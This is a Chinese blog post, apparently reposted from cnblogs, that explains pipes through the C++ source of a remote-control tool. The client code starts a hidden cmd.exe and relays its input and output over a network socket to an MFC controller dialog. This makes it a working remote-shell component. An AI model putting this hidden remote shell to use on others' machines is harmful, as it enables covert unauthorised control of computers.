博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
进程间通信---管道
阅读量:5787 次
发布时间:2019-06-18

本文共 10652 字,大约阅读时间需要 35 分钟。

网上有大量的关于管道的理论文章,在此不再赘述,最近在做一个通信上的项目,正好用到管道-------MFC对话框和CMD之间的通信。

主控端做成成品,做的MFC。

 

主控端代码

1 // CmdManagerDlg.cpp : 实现文件  2 //  3   4 #include "stdafx.h"  5 #include "2017Remote.h"  6 #include "CmdManagerDlg.h"  7 #include "afxdialogex.h"  8 #include "Common.h"  9  10 // CmdManagerDlg 对话框 11  12 IMPLEMENT_DYNAMIC(CmdManagerDlg, CDialog) 13  14 CmdManagerDlg::CmdManagerDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject) 15     : CDialog(IDD_DIALOG_CMD_MANAGER, pParent) 16 { 17     m_IOCPServer = IOCPServer; 18     m_ContextObject = ContextObject; 19  20     m_IconHwnd = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_ICON_CMD_MANAGER)); 21 } 22  23 CmdManagerDlg::~CmdManagerDlg() 24 { 25 } 26  27 void CmdManagerDlg::DoDataExchange(CDataExchange* pDX) 28 { 29     CDialog::DoDataExchange(pDX); 30     DDX_Control(pDX, IDC_EDIT_CMD, m_CEdit_Cmd); 31 } 32  33  34 BEGIN_MESSAGE_MAP(CmdManagerDlg, CDialog) 35     ON_WM_CLOSE() 36     ON_WM_CTLCOLOR() 37     ON_WM_SIZE() 38 END_MESSAGE_MAP() 39  40  41 // CmdManagerDlg 消息处理程序 42  43  44 BOOL CmdManagerDlg::OnInitDialog() 45 { 46     CDialog::OnInitDialog(); 47     // TODO:  在此添加额外的初始化 48     SetIcon(m_IconHwnd, FALSE); 49     // If TRUE, the default value, the method sets a large icon. Otherwise, it sets a small icon.  50     CString v1; 51     sockaddr_in  ClientAddress; 52     memset(&ClientAddress, 0, sizeof(ClientAddress)); 53     int ClientLength = sizeof(ClientAddress); 54     BOOL bRet = getpeername(m_ContextObject->ClientSocket, (SOCKADDR*)&ClientAddress, &ClientLength); //得到连接的ip  55     v1.Format("IP:%s", bRet != INVALID_SOCKET ? inet_ntoa(ClientAddress.sin_addr) : ""); 56     SetWindowText(v1);//设置对话框标题 57     m_uReceiveDataLength = 0; 58     m_nCurSel = 0; 59     BYTE bToken = CMD_MANAGER::COMMAND_CMD_CONTINUE; 60     m_IOCPServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE)); 61     return TRUE;  // return TRUE unless you set the focus to a control 62                   // 异常: OCX 属性页应返回 FALSE 63 } 64  65  66 void CmdManagerDlg::OnClose() 67 { 68     // TODO: 在此添加消息处理程序代码和/或调用默认值 69     m_ContextObject->DlgID = 0; 70     CancelIo((HANDLE)m_ContextObject->ClientSocket); 71     closesocket(m_ContextObject->ClientSocket); 72     CDialog::OnClose(); 73 } 74  75  76 HBRUSH CmdManagerDlg::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor) 77 { 78     HBRUSH hbr = CDialog::OnCtlColor(pDC, pWnd, nCtlColor); 79  80     // TODO:  在此更改 DC 的任何特性 81     if ((pWnd->GetDlgCtrlID() == IDC_EDIT_CMD) && (nCtlColor == CTLCOLOR_EDIT)) 82     { 83         COLORREF clr = RGB(255, 255, 255); 84         pDC->SetTextColor(clr);   //设置白色的文本 85         clr = RGB(0, 0, 0); 86         pDC->SetBkColor(clr);     //设置黑色的背景 87         return CreateSolidBrush(clr);  //作为约定,返回背景色对应的刷子句柄 88     } 89     else 90     { 91         return CDialog::OnCtlColor(pDC, pWnd, nCtlColor); 92     } 93     // TODO:  如果默认的不是所需画笔,则返回另一个画笔 94     return hbr; 95 } 96  97 VOID CmdManagerDlg::OnReceiveComplete() 98 { 99     if (m_ContextObject == NULL)100     {101         return;102     }103     ShowData();104     m_uReceiveDataLength = m_CEdit_Cmd.GetWindowTextLength();105 }106 107 VOID CmdManagerDlg::ShowData(void)108 {109     m_ContextObject->InDeCompressedBuffer.WriteBuffer((LPBYTE)"", 1);    //接个\0110 111     CString     strBuffer = (char*)m_ContextObject->InDeCompressedBuffer.GetBuffer();    //获得所有数据112     strBuffer.Replace("\n", "\r\n");113 114     int iLength = m_CEdit_Cmd.GetWindowTextLength();//获得当前窗口的字符个数115 116     m_CEdit_Cmd.SetSel(m_nCurSel, iLength);    //此函数选中[L,R]的区域,相同则呈现条形117 118     m_CEdit_Cmd.ReplaceSel(strBuffer);    //同传递过来的数据替换掉上述位置的字符119 120     m_nCurSel = m_CEdit_Cmd.GetWindowTextLength();    //重新获得此时光标的位置121 }122 123 BOOL CmdManagerDlg::PreTranslateMessage(MSG* pMsg)124 {125     // TODO: 在此添加专用代码和/或调用基类126     if (pMsg->message == WM_KEYDOWN)127     {128         // 屏蔽VK_ESCAPE、VK_DELETE129         if (pMsg->wParam == VK_ESCAPE || pMsg->wParam == VK_DELETE)130             return true;131         //如果是可编辑框的回车键132         if (pMsg->wParam == VK_RETURN && pMsg->hwnd == m_CEdit_Cmd.m_hWnd)133         {134             int iLength = m_CEdit_Cmd.GetWindowTextLength();135 136             CString    strBuffer;137             m_CEdit_Cmd.GetWindowText(strBuffer);138 139             strBuffer += "\r\n";140 141             m_IOCPServer->OnClientPreSending(m_ContextObject, (LPBYTE)strBuffer.GetBuffer() + m_nCurSel, strBuffer.GetLength() - m_nCurSel);142         }143         // 限制VK_BACK   消到<=第一次接收到的数据时,就不能消了144         if (pMsg->wParam == VK_BACK && pMsg->hwnd == m_CEdit_Cmd.m_hWnd)145         {146             if (m_CEdit_Cmd.GetWindowTextLength() <= m_uReceiveDataLength)147                 return true;148         }149     }150     return CDialog::PreTranslateMessage(pMsg);151 }152 153 VOID CmdManagerDlg::ResizeEdit(void)154 {155     if (m_CEdit_Cmd.m_hWnd == NULL)156     {157         return;158     }159     RECT    rectClient;160     RECT    rectEdit;161     GetClientRect(&rectClient);162     rectEdit.left = 0;163     rectEdit.top = 0;164     rectEdit.right = rectClient.right;165     rectEdit.bottom = rectClient.bottom;166     m_CEdit_Cmd.MoveWindow(&rectEdit);167 }168 void CmdManagerDlg::OnSize(UINT nType, int cx, int cy)169 {170     CDialog::OnSize(nType, cx, cy);171 172     // TODO: 在此处添加消息处理程序代码173     ResizeEdit();174 }
View Code

客户端代码

1 #include "CmdManager.h"  2 #include "Common.h"  3 CmdManager::CmdManager(IOCPClient* ClientObject) :Manager(ClientObject)  4 {  5     SECURITY_ATTRIBUTES  sa = { 0 };  6     sa.nLength = sizeof(sa);  7     sa.lpSecurityDescriptor = NULL;  8     sa.bInheritHandle = TRUE;     //重要    9     //cmd可以继承handle 10     m_ReadHandle1 = NULL;       //Client 11     m_WriteHandle1 = NULL;       //Client 12     m_ReadHandle2 = NULL;       //Cmd 13     m_WriteHandle2 = NULL;       //Cmd 14     //创建管道 15     if (!CreatePipe(&m_ReadHandle1, &m_WriteHandle2, &sa, 0)) 16     { 17         if (m_ReadHandle1 != NULL) 18         { 19             CloseHandle(m_ReadHandle1); 20         } 21         if (m_WriteHandle2 != NULL) 22         { 23             CloseHandle(m_WriteHandle2); 24         } 25         return; 26     } 27  28     if (!CreatePipe(&m_ReadHandle2, &m_WriteHandle1, &sa, 0)) 29     { 30         if (m_WriteHandle1 != NULL) 31         { 32             CloseHandle(m_WriteHandle1); 33         } 34         if (m_ReadHandle2 != NULL) 35         { 36             CloseHandle(m_ReadHandle2); 37         } 38         return; 39     } 40      41     char szCmdFullPath[MAX_PATH] = { 0 }; 42     GetSystemDirectory(szCmdFullPath, MAX_PATH); 43     //C:\windows\system32 44     strcat(szCmdFullPath, "\\cmd.exe"); 45     //C:\windows\system32\cmd.exe 46     STARTUPINFO          si = { 0 }; 47     // is used with the CreateProcess function to specify main window properties if a new window is created for the new process 48     PROCESS_INFORMATION  pi = { 0 };    //CreateProcess 49  50     memset((void *)&si, 0, sizeof(si)); 51     memset((void *)&pi, 0, sizeof(pi)); 52  53     si.cb = sizeof(STARTUPINFO);   54  55     si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; 56     si.hStdInput = m_ReadHandle2;                           //将管道数据向Cmd赋值 57     si.hStdOutput = si.hStdError = m_WriteHandle2; 58  59     si.wShowWindow = SW_HIDE;   //窗口隐藏 60  61     //创建新的进程 62     if (!CreateProcess(szCmdFullPath, NULL, NULL, NULL, TRUE, 63         NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi)) 64     { 65         CloseHandle(m_ReadHandle1); 66         CloseHandle(m_WriteHandle1); 67         CloseHandle(m_ReadHandle2); 68         CloseHandle(m_WriteHandle2); 69         return; 70     } 71  72     //保存Cmd进程的进程句柄和主线程句柄 73     m_CmdProcessHandle = pi.hProcess;    74     m_CmdThreadHandle = pi.hThread; 75  76     BYTE    bToken = CMD_MANAGER::COMMAND_CMD_MANAGER_REPLY;            //包含头文件 Common.h      77     m_ClientObject->OnServerSending((char*)&bToken, 1); 78  79     WaitForDialogOpen(); 80  81     m_bStarting = TRUE; 82     m_ThreadHandle = CreateThread(NULL, 0, 83         (LPTHREAD_START_ROUTINE)ReadCallBack, (LPVOID)this, 0, NULL);   //Client 读取管道数据   84 } 85  86 CmdManager::~CmdManager() 87 { 88     m_bStarting = FALSE; 89  90     TerminateThread(m_CmdThreadHandle, 0);     //结束我们自己创建的Cmd线程 91     TerminateProcess(m_CmdProcessHandle, 0);   //结束我们自己创建的Cmd进程 92  93     Sleep(100); 94  95     if (m_ReadHandle1 != NULL) 96     { 97         DisconnectNamedPipe(m_ReadHandle1); 98         CloseHandle(m_ReadHandle1); 99         m_ReadHandle1 = NULL;100     }101     if (m_WriteHandle1 != NULL)102     {103         DisconnectNamedPipe(m_WriteHandle1);104         CloseHandle(m_WriteHandle1);105         m_WriteHandle1 = NULL;106     }107     if (m_ReadHandle2 != NULL)108     {109         DisconnectNamedPipe(m_ReadHandle2);110         CloseHandle(m_ReadHandle2);111         m_ReadHandle2 = NULL;112     }113     if (m_WriteHandle2 != NULL)114     {115         DisconnectNamedPipe(m_WriteHandle2);116         CloseHandle(m_WriteHandle2);117         m_WriteHandle2 = NULL;118     }119 }120 121 DWORD WINAPI CmdManager::ReadCallBack(LPVOID lParam)122 {123     CmdManager    *Manager = (CmdManager*)lParam;124     char szBuffer[0x400] = { 0 };125     DWORD    dwReturn = 0;126     DWORD    dwTotal = 0;127     while (Manager->m_bStarting)128     {129         Sleep(100);130         //R1是cmd回传的数据131         while (PeekNamedPipe(Manager->m_ReadHandle1,132             szBuffer,sizeof(szBuffer),&dwReturn,&dwTotal,NULL))133         {134             if (dwReturn <= 0)135             {136                 break;137             }138             memset(szBuffer, 0, sizeof(szBuffer));139             LPBYTE    szTotalBuffer = (LPBYTE)LocalAlloc(LPTR, dwTotal);140             //读取管道数据141             ReadFile(Manager->m_ReadHandle1,142                 szTotalBuffer, dwTotal, &dwTotal, NULL);143 144             Manager->m_ClientObject->OnServerSending((char*)szTotalBuffer, dwTotal);145             LocalFree(szTotalBuffer);146         }147     }148     cout << "ReadPipe线程退出" << endl;149     return 0;150 }151 //在某个部位调用,在这不予显示152 VOID CmdManager::OnReceive(PBYTE szBuffer, ULONG ulBufferLength)153 {154     switch (szBuffer[0])155     {156     case CMD_MANAGER::COMMAND_CMD_CONTINUE:157     {158         NotifyDialogIsOpen();159         break;160     }161     default:162         unsigned long ulReturnLength = 0;163         if (WriteFile(m_WriteHandle1, szBuffer, ulBufferLength, &ulReturnLength, NULL))164         {165             //写入管道中166         }167         break;168     }169 }
View Code

 

转载于:https://www.cnblogs.com/littlepear/p/6402175.html

你可能感兴趣的文章
Sublime Text 2 技巧
查看>>
使用fscanf()函数从磁盘文件读取格式化数据
查看>>
参加婚礼
查看>>
h5 audio相关手册
查看>>
刚毕业从事java开发需要掌握的技术
查看>>
CSS Custom Properties 自定义属性
查看>>
vim
查看>>
MVVM计算器(下)
查看>>
C++中指针和引用的区别
查看>>
簡單分稀 iptables 記錄 udp 微軟 138 端口
查看>>
Java重写equals方法和hashCode方法
查看>>
Spark API编程动手实战-07-join操作深入实战
查看>>
H3C-路由策略
查看>>
centos 修改字符界面分辨率
查看>>
LNMP之Mysql主从复制(四)
查看>>
阅读Spring源代码(1)
查看>>
nagios一键安装脚本,nagios监控被监控主机上的应用服务mysql数据库
查看>>
grep 命令
查看>>
JS二维数组的声明和使用
查看>>
v$archive_gap dg dataguard 断档处理 scn恢复
查看>>